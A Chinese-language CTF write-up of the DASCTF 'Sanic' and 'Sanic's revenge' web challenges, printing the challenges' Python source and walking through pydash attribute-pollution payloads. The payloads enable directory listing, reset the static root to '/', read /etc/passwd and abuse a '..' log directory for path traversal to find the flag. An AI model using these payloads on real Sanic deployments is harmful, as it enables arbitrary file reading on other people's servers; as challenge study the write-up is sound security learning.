0%

Sanic以及Sanic's revenge

Sanic以及Sanic’s revenge

DASCTF 七月赛
那一条污染链子一直在看已经看的非常熟悉了,写一下博客

Sanic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
#return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
#user = request.cookies.get("user")
#if user.lower() == 'adm;n':
#request.ctx.session['admin'] = True
#return text("login success")

#return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
# if key and value and type(key) is str and '_.' not in key:
if type(key) is str:
print("key is str")
if 'parts' not in key:
print("parts no")
if 'proc' not in str(value) :
print("proc no")
if type(value) is not list:
print("list no")

if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
app.run(host='0.0.0.0')

RFC2068 的编码规则

session这边adm;n用八进制编码绕过

WAF ./

1
__init__\\\\.__globals__

这样转义绕过

src路由存在__FILE__

1
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}

污染后可以得到任意文件读取

污染链

这个是Sanic框架

在app.static路由注册的地方

directory_view为True时,会开启列目录功能

directory_handler中可以获取指定的目录

跟进到引用,找到这么一个类

里面有directory:path 和 directory_view

把path改为需要的路径 view改为true即可得到文件

sanic框架用app.router.name_index获取路由,本地打印一下

1
{'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}

所以路由就是

1
__mp_main__.xxxx

先修改directory_view 属性

1
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

访问/static/,可以看到该目录下的文件

接下来只要污染directory

值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的

Path对象里面parts的值最后是给了_parts这个属性

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

Sanic’s revenge

这题当时一起打也没想出来,问了问Nama学长,最后也差一个读/app路径内容,前半部分花很长时间想要绕过parts,其实直接app.static(“/static/“, “./static/“)改这里去读文件很快

最后找到源码但是也不知道..如何利用 复现下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if 'parts' in key:
print("parts no")
if 'proc' not in str(value) :
print("proc no")
if type(value) is list:
print("list no")

if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
print("yes")
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
print("no")
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
app.run(host='0.0.0.0')

前面污染到file or directory 可以获取源码

1
2
3
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"} #改上一层的

完整源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash

# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass

def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")

if __name__ == '__main__':
app.run(host='0.0.0.0')

问题是需要知道flag文件名字,app目录下

源码中还有一个地方没有利用,写入路径时候存在一个..

log_dir_bak=log_dir+".."很奇怪的一个地方 ../是可以 但是怎么利用

列出目录的路径是由self.directory这个对象里面的parts和current拼接得到的

这样的的话可以想办法控制current的值,用后面源代码里面的..

可以调试一下,如果current为..的话,即可穿越到上层目录

这一行

1
current = path.strip("/")[len(self.base) :].strip("/") 

这里就是拼接..的重点部分

现在看如何控制path和self.base

path一开始就是static 访问网页路径可控

self.base是自身属性,需要污染

1
current = *path*.strip("/")[len(*self*.base) :].strip("/") 

污染base为static/ctf

1
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ctf"}

比如path是/static/ctf../ 这样的话base是static current是ctf../

如果控制base是static/ctf 长度是10 ,用上面代码处理后 从path第十起 ../再去除掉/ 就是..

current 就变成了.. 完成了路径穿越

随便触发一个非法记录 例如备份目录名字就叫ddahJ6..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#开启列目录
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": "/"}

#修改默认路径
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

#构造current
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahj6"}

这样访问即可看到flag名称

这个题审计调试的地方就多了很多,说实话做的时候还是得慢慢想来慢慢调试

题目嘛肯定很多地方有引导思路的地方

最近在继续看java,还有好多链子要看,不过比赛题目不太好找,更像是学知识点的过程

DASCTF 2024暑期挑战赛-WEB-Sanic’s revenge gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)